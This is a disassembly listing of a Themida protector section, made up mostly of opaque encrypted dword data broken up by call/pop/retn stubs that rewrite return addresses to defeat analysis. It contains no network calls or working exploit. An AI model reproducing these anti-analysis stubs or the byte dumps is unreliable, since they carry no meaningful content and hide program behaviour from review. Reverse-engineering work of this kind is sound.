		dd 28E2377Dh, 0DE8B6696h, 0BD76B5FFh, 0BF660614h, 0E9604270h
		dd 9, 428D9235h, 0ED918514h, 14E8E4h, 13E40000h, 0DFE11631h
		dd 0F7935437h, 50AA59DEh, 0E439BC6Dh, 58502185h, 95FF615Eh
		dd 61112F1h, 0FFD88B66h, 14BD76B5h, 75BD8906h, 89061100h
		dd 110A2D8Dh, 0B995FF06h, 66061105h, 8B5614BBh,	3DBD83D9h
		dd 2061101h, 2C840Fh, 5E80000h,	0BE000000h, 0FA1219D1h
		dd 2A09B589h, 8B5F0611h, 11310185h, 959D3106h, 106110Fh
		dd 110465B5h, 0C606h, 2645BD8Bh, 85C70611h, 61104D5h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5939DB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5939DB	proc near		; CODE XREF: Themida_:005939D3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5939DB	endp

; ---------------------------------------------------------------------------
		db 29h
		dd 0BD012934h, 61133DDh, 0FFF3E4E9h, 57006AFFh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 986CEDA9h
		dd 25BD33CBh, 8B061131h, 50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0B60FAA4Eh, 0ECAA2D61h
		dd 95858D99h, 6A061127h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0FC04C357h,	791A93C9h
		dd 9965E033h, 0AB98E381h, 0E95064F9h, 10h, 0D92B85B6h
		dd 17E79EFh, 0B19B4188h, 4A4C8BFFh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 899CC355h, 110239B5h, 18F0F06h, 0FC000000h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F381F2C3h, 0D10573Eh, 1291BD0Bh, 6A0611h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 74C35040h, 88FE7059h
		dd 5664FE34h, 7E9h, 0A1B64F00h,	4B68A796h, 0A0DE858Dh
		dd 0DE90615h, 9A000000h, 8178578Fh, 67DFD10Ch, 11A55943h
		dd 0E905C083h, 10h, 95080E85h, 2A3B8743h, 0C923921Bh, 0D8CF4608h
		dd 6650DE8Ah, 8993D7BFh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D2B62C3h, 6110DCDh
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 347FABC3h, 0A9B64757h, 4BCDBBD1h,	6A00D9h
		dd 15A59589h, 0DE90611h, 0D7000000h, 5E34A819h,	5F92BFAAh
		dd 7C2291E0h, 75D95FFh,	6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C56F2CC3h, 8D292A23h
		dd 61121B9h, 6199509h, 8D8D0611h, 614A420h, 0BBCF8166h
		dd 6AD1FF6Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0D37EC352h, 0AE768BF9h, 9D297435h
		dd 6110DDDh, 1B71BD83h,	0F010611h, 7B85h, 0E3816600h, 26AED2Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 65C35545h
		dd 418D2914h, 50061122h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 23FCC356h
		dd 0BBBB6613h, 6595FF23h, 6A06112Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 4F4EC357h
		dd 9509A9A2h, 61100EDh,	0D18E9h, 0E800h, 815D0000h, 15A0E8EDh
		dd 6DBD8B06h, 8B061113h, 1133E59Dh, 68858D06h, 6A061489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 6D4BC350h, 0AD5AAE55h, 0EF8166C7h, 5690FF8Dh
		dd 0DE8h, 0EE917400h, 45236EF5h, 0A9CA9F6Dh, 5250BABDh
		dd 585A310Fh, 0E8505F5Bh, 5, 5C529BCCh,	5FF88B59h, 0D1C78190h
		dd 644A6AADh, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0A8358AC3h, 0CFE38166h
		dd 0DA8B6667h, 258964h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39FFC350h
		dd 42F4D255h, 0BBF97035h, 3B949C14h, 7AD85FFh, 0F570611h
		dd 682h, 0E1BD8B00h, 5B061117h,	6AFF6Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0C3BFDCC3h
		dd 0FF124245h, 111BFDB5h, 41958906h, 0FF061115h, 11150D95h
		dd 114E906h, 0BD310000h, 6110B79h, 70E600B0h, 6810Fh, 8D890000h
		dd 6111C05h, 0B58971E4h, 6110C55h, 830F613Ch, 0EEh, 0CE8h
		dd 5D04D800h, 50C0C442h, 0ACD735A3h, 4D8D09CDh,	5F06110Dh
		dd 66C8B60Fh, 6BAD88Bh,	81000000h, 32D83DEFh, 66C18B31h
		dd 0BFD3CB81h, 6604E8C1h, 0F766DA8Bh, 0D59D01E2h, 2B061114h
		dd 8FB9BBC8h, 0D18B12EEh, 13E8DA8Bh, 0CA000000h, 78F52872h
		dd 2F945ACFh, 44698A04h, 42D2A337h, 0CF81F873h,	370BCE4Eh
		dd 5E95Fh, 0B2BF0000h, 8B5037BAh, 11033985h, 8395B306h
		dd 958907C0h, 6112A4Dh,	0E900C083h, 6, 8D19F1Ah, 0D03B027Eh
		dd 1D830Fh, 0DE90000h, 2E000000h, 0DAAFB380h, 637247A3h
		dd 699B9906h, 3DE9h, 61BD8B00h,	8B061107h, 112DB58Dh, 4DE38106h
		dd 83516A5Bh, 840F01E1h, 22h, 0A583F88Bh, 6112DB5h, 6E9FEh
		dd 7F060000h, 41E3D539h, 3399589h, 0C3800611h, 0E9F7h
		dd 0B58D0000h, 6151B38h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0D0C35646h, 122D9531h, 6A0611h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 86C35141h, 6E154C0Ch
		dd 0B9913903h, 7419D89h, 95FF0611h, 61105C5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BAC35343h, 0F38166ADh
		dd 0F3B9A372h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0FAECC352h,	28C1A416h
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 493C355h, 0BD89242Eh, 61121F9h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0B877h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0D79AD0C3h, 59BEE86Bh
		dd 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 91106FC3h, 5E6EB632h, 8DBB663Ch, 6820FA3h
		dd 8B000000h, 1121959Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0C8BF66F4h, 57006A86h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 64FD0041h, 6D2CD84Fh
		dd 8F0F9FE0h, 6, 2C859D8Bh, 0DE8B0611h,	880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8B4B1D9Eh, 11285D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0EA03719Eh, 8D8589D9h
		dd 8B061129h, 112DD18Dh, 0B9950906h, 5006110Ch,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0F5A9FBDh
		dd 8Dh,	0DBB70F00h, 2381BD83h, 0F000611h, 8784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 511AFB11h, 8EEB87F3h, 9D898CC4h, 61114E5h, 14E8h, 0EA2DA100h
		dd 79A163C3h, 0A22FC228h, 2165F849h, 1E0F8219h,	619D8974h
		dd 5B06112Ah, 0B8h, 59D2900h, 8D061115h, 114E3E8Dh, 319D8B06h
		dd 0FF061108h, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 8B7524CBh, 0F8893242h
		dd 2709BD83h, 0F000611h, 3B984h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 6D1BFBC0h
		dd 5F6275E5h, 2709BD83h, 0F010611h, 3A484h, 6880F00h, 1000000h
		dd 11346D85h, 9BD8306h,	3061127h, 355860Fh, 0BD8B0000h
		dd 61130F1h, 847CEB81h
		dd 6A603C56h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 7148C350h, 3FEEFB05h, 29F88BF8h
		dd 111F9585h, 0D98C6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4EC35545h, 4293718Eh,	0C83402EAh, 68A0Fh
		dd 0BD8B0000h, 6110AA5h, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CF9EC357h
		dd 0FC90AA0h, 10D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0F160E8ADh, 7BB36E9Fh
		dd 1BF5858Bh, 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 16AB26C3h, 56E10FEBh, 6605E8F8h
		dd 33CA64BBh, 11030585h, 3830F06h, 80000000h, 89507BDFh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 6ABCE8C3h, 8B8DEFEDh, 110F99BDh, 8B006A06h
		dd 110045BDh, 0DF8B6606h, 0E7ED1668h, 85ABFC2h,	4817AB5h
		dd 3716E924h, 56006A3Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FBC1064h, 8B66FEB7h, 0C195FFDFh
		dd 106112Ah, 111EEDBDh,	76858906h, 0FC0614BDh, 16DE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 12AD9ECh, 0DFD5CDBCh, 0CF81669Bh, 858B1B5Ah
		dd 614BD6Eh, 45B3BB66h,	1800C7h, 8B660000h, 72B58BF8h
		dd 8B0614BDh, 1108E9BDh, 0E9858B06h, 0F061114h,	689DAB7h
		dd 0F9DEB70Fh, 1BF5858Bh, 0CE90611h, 63000000h,	0B94CF075h
		dd 61257305h, 89E02042h, 0B560446h, 1112AD9Dh, 0BB505F06h
		dd 6AE0F848h, 6A243489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 148BC351h, 5EEEF8ACh
		dd 11E900BCh, 3D000000h, 0CB6DF99Dh, 0A1EC12C3h, 0B9125EECh
		dd 0DE2AB413h, 0BD6EB5FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BD2778C3h
		dd 0CE858h, 69E90000h, 0BCF0F39h, 834F152Fh, 8D890C19h
		dd 6111381h, 18CB685Bh,	8B665E67h, 243481D8h, 5E781B34h
		dd 6E952h, 141D0000h, 2608290Eh, 76858D5Bh, 330614BDh
		dd 110E5DBDh, 6E85006h,	4000000h, 0D8FD4CF4h, 4895F6Ah
		dd 0B6566024h, 0BF0F5970h, 0D38161C9h, 0E0526A1h, 2AC195FFh
		dd 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0AB7891C3h, 0E54A2930h, 0F498501h, 0B3610611h
		dd 985C75Ch, 3061127h, 0F000000h, 687h,	19950900h, 106112Ch
		dd 11181585h, 76BD8306h, 614BDh, 45840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3901F1C3h, 7205FE37h, 37E975A9h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 50A0C356h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 8589C08Bh,	6110D91h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 76C35545h, 0F4DB81FCh, 831A8AC6h
		dd 112709BDh, 850F0306h, 3B5h, 1235BD8Bh, 0BD830611h, 614BD76h
		dd 0A2840F00h, 50000003h, 5F77D380h, 76B5FFFCh,	6A0614BDh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C14CC355h, 0D8BF0F00h, 329195FFh, 6A0611h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 891E37C3h, 111C6DBDh, 6AB58B06h, 6A0614BDh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 64F0C351h, 0C7FEBF0Fh, 1000106h, 8E900h, 55100000h
		dd 0F0807573h, 5096F1E1h, 0E9310F52h, 0Eh, 32FC3777h, 2D276873h
		dd 1BEE5FE0h, 585A51D6h, 14E950h, 0CE4C0000h, 0E83E56BFh
		dd 12F9581Bh, 7C94919Ah, 0D96978Eh, 0F96CB4Dh, 0B5FFDBBFh
		dd 614BD76h, 211D8D89h,	95FF0611h, 61100E9h, 1BD2957h
		dd 5F06110Bh, 0BD6AB58Bh, 9D030614h, 6110EDDh, 1425858Bh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 5A9210C3h, 0AD2FF379h, 0CE9h, 3E140D00h
		dd 0E182B9Eh, 0F16E765h, 0D5950162h, 8906111Dh,	0C486h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0DBCAC1B6h, 0A31BD8Bh, 958B0611h, 611285Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D0C35646h
		dd 8BD1D69Bh, 21BD8BDFh, 0F8061112h, 6A04C283h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E492C353h, 0BD38D464h, 896493F3h, 7E82050h,	0AA000000h
		dd 1A852F3Bh, 95296CBBh, 6112175h, 62858D5Bh, 0E80614D0h
		dd 0Ch,	3E5B3F87h, 89B2B49Bh, 3419DBC1h, 0FB52E381h, 895B0993h
		dd 0B886h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0E9006ACDh, 10h, 0E7A10944h, 8F98B052h
		dd 0C6EAAE65h, 0DCE0F448h, 0BD76B5FFh, 6A0614h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 104FCC3h, 66A7AFD6h,	0DFB6EB81h, 28059529h, 95FF0611h
		dd 6112B65h, 0C1BD8Bh, 0BB500611h, 2E3AAA70h, 66243489h
		dd 0B5FFDE8Bh, 614BD76h, 2341BD0Bh, 0B5010611h,	611284Dh
		dd 0E2995FFh, 8D890611h, 6110819h, 2761BD83h, 0F000611h
		dd 3284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 335C4CA5h, 50B311F5h, 850Fh, 34890000h
		dd 64E38124h, 0FF5DFD66h, 14BD76B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2D0E5075h
		dd 0AFE64641h, 0B7BBA437h, 524C0C61h, 2C198D29h, 0FF5B0611h
		dd 1112F195h, 2870F06h,	0B3000000h, 76B5FF88h, 6A0614BDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 2E18C352h, 2511AFF0h, 0F381A617h,	62E1A29Eh
		dd 0F98B6657h, 0B995FF5Fh, 89061105h, 111F1D9Dh, 3DBD8306h
		dd 2061101h, 3E840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 13866FC3h, 66EC93DBh
		dd 0E018C381h, 1CAD8D89h, 858B0611h, 6113101h, 5FC1B356h
		dd 660000C6h, 0AC70CB81h, 4D585C7h, 611h, 50600000h, 5ACBBF0Fh
		dd 0F416E961h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0F7D776C3h, 270B4792h, 11850Fh
		dd 0CE90000h, 1F000000h, 4377E5B7h, 98D8EB29h, 8B2B9D27h
		dd 68DF81C1h, 293AF2B4h, 111B29BDh, 95858D06h, 31061127h
		dd 1113C5B5h, 0F575006h, 387h, 0FA8B6600h, 2404895Bh, 0F9C78166h
		dd 6A006A98h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 598D8947h, 8006111Ch, 858DCAF3h, 615AFECh, 0F0DFB960h
		dd 83614D3Ah, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 7D95BAC3h, 8B588FD5h, 110EB59Dh
		dd 0BB669006h, 0E85073DDh, 12h,	0EE8D8641h, 0CE803399h
		dd 0B7EB3EABh, 383F2EE1h, 905BB27Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 86C35040h, 6F8938D0h, 3319BD8Bh
		dd 6A0611h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Ah,	4FC35343h, 3A9C828h, 6A7CE2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 4C35141h, 0E2184FA4h, 0F2EA333h
		dd 18Ch, 95FFFC00h, 611075Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 5EC35646h, 0CE843h,	0C0570000h
		dd 72981DEDh, 0B2DE2EDEh, 8B5F2DFBh, 112491BDh,	208D8D06h
		dd 6A0614A4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1D5DC357h, 0BD895A08h,	6112031h
		dd 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0FEDB10C3h, 8A0EC2C1h, 71BD83D8h,	106111Bh
		dd 44850Fh, 9D230000h, 61131E1h, 0BD8B026Ah, 6113461h
		dd 3035BD89h, 8B500611h, 240489FEh, 95FF50B3h, 6112B65h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 31C35343h
		dd 0F775B26h, 9EE9DABFh, 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 615AFF6h
		push	0
		push	esi
		call	sub_594BCE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594BCE	proc near		; CODE XREF: Themida_:00594BC6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_594BCE	endp

; ---------------------------------------------------------------------------
		dw 0B765h
		dd 0E9FA8A2Bh, 7, 8C800146h, 6AFBCED0h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 3B0CC353h
		dd 0C12A1939h, 0BDD2D476h, 9D8BB9B3h, 6110DA1h,	8968858Dh
		dd 0FABF0614h, 9018E8D2h, 6050F88Bh, 0B374C5B9h, 860F4Ch
		dd 61000000h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 44463F1Ch, 2981324Ah, 1117B9B5h
		dd 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	eax
		mov	ebx, [ebp+6110081h]
		pop	ebx
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_594C82
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594C82	proc near		; CODE XREF: Themida_:00594C7Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_594C82	endp

; ---------------------------------------------------------------------------
		dw 0EF1Ah
		dd 0D421E6F0h, 85FF06A7h, 61107ADh, 2089BD8Bh, 0FF6A0611h
		dd 96D78166h, 0B5B52993h, 0FF061106h, 1108E1B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 9857AF06h, 490F3CCh,	150D95FFh, 5AE90611h, 31000001h
		dd 1100D5B5h, 8B00B006h, 112E0DBDh, 0C9BD8906h,	0E606110Fh
		dd 0A1BD8970h, 0F061104h, 18Ah,	71E4FC00h, 3CD98B66h, 2A830F61h
		dd 81000001h, 0C16B39C3h, 0DE9605Fh, 60000000h,	19B418A1h
		dd 2BF4615Fh, 9B0ED60Eh, 600CEEBBh, 0B60F6151h,	9880FC8h
		dd 0F000000h, 38Dh, 5EEB8000h, 6BAh, 0AD9D2300h, 0F506111Bh
		dd 8589C18Bh, 6112A7Dh,	0F04E8C1h, 198Ah, 14E900h, 1F880000h
		dd 0EBFE256Eh, 72F3C6F7h, 7366A97h, 77C683C6h, 0F766166Ah
		dd 13810FE2h, 0E9000000h, 0Eh, 3BC80AE2h, 548529F5h, 320148E9h
		dd 0C82B1146h, 2BD18BFCh, 110DD59Dh, 0DE906h, 8E90000h
		dd 8000000h, 0B654AC30h, 8B6DFC88h, 11024585h, 3DBD2306h
		dd 8306110Ah, 0BD8907C0h, 61127B5h, 0F800C083h,	0FD03BF5h
		dd 2F83h, 61952900h, 0E9061132h, 5Dh, 0E8FABF0Fh, 14h
		dd 7118D484h, 0FC345675h, 0A27B9719h, 126B11DDh, 4A6E2A64h
		dd 1840Fh, 5BFC0000h, 0E718D8Bh, 9D230611h, 61103B1h, 0F01E183h
		dd 2484h, 0A99D2900h, 8306112Ah, 110E71A5h, 9D0BFE06h
		dd 6110FE1h, 2459589h, 9D290611h, 6110B4Dh, 0E9h, 0B3B58D00h
		dd 6A061523h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6F08C355h, 89A70F01h, 11070D9Dh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 17F0C351h, 0DE9CBh, 8DF70000h
		dd 0A9D51FD5h, 17FB6C76h, 0FF0BC22Ch, 1105C595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 10E9E8h, 0BF4A0000h,	0CE44BAF2h, 58E050A7h, 70FD7444h
		dd 0BCB98B12h, 6A000008h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5055C351h, 0FF7E2FAEh
		dd 6AFCE183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0B00BC355h, 0E2B3E57Bh, 0F381668Ch
		dd 0E9FCA08Ch, 5, 0F01EB341h, 0B83Fh, 0DE80000h, 8A000000h
		dd 40E0A835h
		db 0Ah,	2Eh
word_594F42	dw 7152h		; DATA XREF: ___:off_4387F8o
; ---------------------------------------------------------------------------
		setnbe	cl
		push	cs
		mov	[ebp+6110485h],	edx
		pop	ebx
		sub	edx, edx
		xor	[ebp+6112649h],	edi
		jmp	loc_594F62
; ---------------------------------------------------------------------------
		dd 7483FFEh
; ---------------------------------------------------------------------------
		cmp	dh, dh


loc_594F62:				; CODE XREF: Themida_:00594F57j
					; Themida_:00594F6Cj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_594F62
		push	0
		push	ebp
		call	sub_594F79
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594F79	proc near		; CODE XREF: Themida_:00594F71p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_594F79	endp

; ---------------------------------------------------------------------------
		or	[eax+0B9D858Bh], bl
		adc	[esi], eax
		mov	ecx, 3B7A8148h
		popa
		mov	edi, [ebp+611319Dh]
		call	near ptr loc_594FA3+9


loc_594FA3:				; CODE XREF: Themida_:00594F9Ep
		xor	dword ptr [eax+27DAFBD1h], 8909054Fh
		mov	ch, 0Dh
		xor	al, 11h
		push	es
		pop	ebx
		or	eax, 88h
		push	0
		push	ebp
		call	sub_594FC3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594FC3	proc near		; CODE XREF: Themida_:00594FBBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_594FC3	endp

; ---------------------------------------------------------------------------
		jns	short loc_594FEC
		mov	cl, [ebx+11285D95h]
		push	es
		push	0
		push	edi
		call	sub_594FE7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594FE7	proc near		; CODE XREF: Themida_:00594FDFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi


loc_594FEC:				; CODE XREF: Themida_:00594FD3j
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_594FE7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	[ecx+58h], esi
		jmp	fword ptr [eax-0Dh]
; ---------------------------------------------------------------------------
		db 0ECh, 0Fh, 83h
; ---------------------------------------------------------------------------
		add	eax, 0BB000000h
		pop	ecx
		sbb	[edi+4Dh], ecx
		or	[ebp+6111ED1h],	edx
		mov	ecx, [ebp+6112DD1h]
		push	0
		push	eax
		call	sub_595020
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595020	proc near		; CODE XREF: Themida_:00595018p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_595020	endp

; ---------------------------------------------------------------------------
		adc	eax, ebp
		aam	5Ch
		cmp	eax, [ecx+4FE65EFh]
		jno	short loc_59508C
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		jmp	loc_59505D
; ---------------------------------------------------------------------------
		dw 2304h
		dd 9009F51Bh, 0D2A22EDAh
		db 0EBh
; ---------------------------------------------------------------------------


loc_59505D:				; CODE XREF: Themida_:0059504Dj
		push	0
		push	esi
		call	sub_595068
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595068	proc near		; CODE XREF: Themida_:00595060p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_595068	endp

; ---------------------------------------------------------------------------
		dd 839CE39Ah, 0E934FF54h, 0Dh, 1DB53F61h, 0B1DE5F10h
; ---------------------------------------------------------------------------


loc_59508C:				; CODE XREF: Themida_:0059503Aj
		movsb
		fimul	dword ptr [edx-427C9F11h]
		and	dword ptr [ebx], 0F000611h
		test	[ebp+0], dh
; ---------------------------------------------------------------------------
		dd 9D330000h, 61104D9h,	32D1BD2Bh, 0B80611h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 61B8C350h, 6BBFF95Fh, 3E8D8DD0h, 6A06114Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 8843C357h, 5EB00843h, 0E966EA4Eh,	0Fh, 0D76C1243h
		dd 888A1Dh, 0CDDCBC3Ah,	0FFC28BF5h, 83FA8BE1h, 112709BDh
		dd 840F0006h, 532h, 0CE9h, 94D05200h, 686EB86Dh, 977ABC58h
		dd 9BD83A2h, 1061127h, 52F840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CA9AE5C3h
		dd 0DB977946h, 0B70F1507h, 0CE8FEh, 68B80000h, 0D0A33DF2h
		dd 0B5A850FFh, 9589D690h, 6112989h, 9BD835Bh, 3061127h
		dd 4AD860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 196C3C3h, 9E8D3670h, 609D09B8h
		dd 0D98C66F8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F4C35343h, 431738DEh, 0D6BF7089h, 8B4CCD1Ch, 1125ADBDh
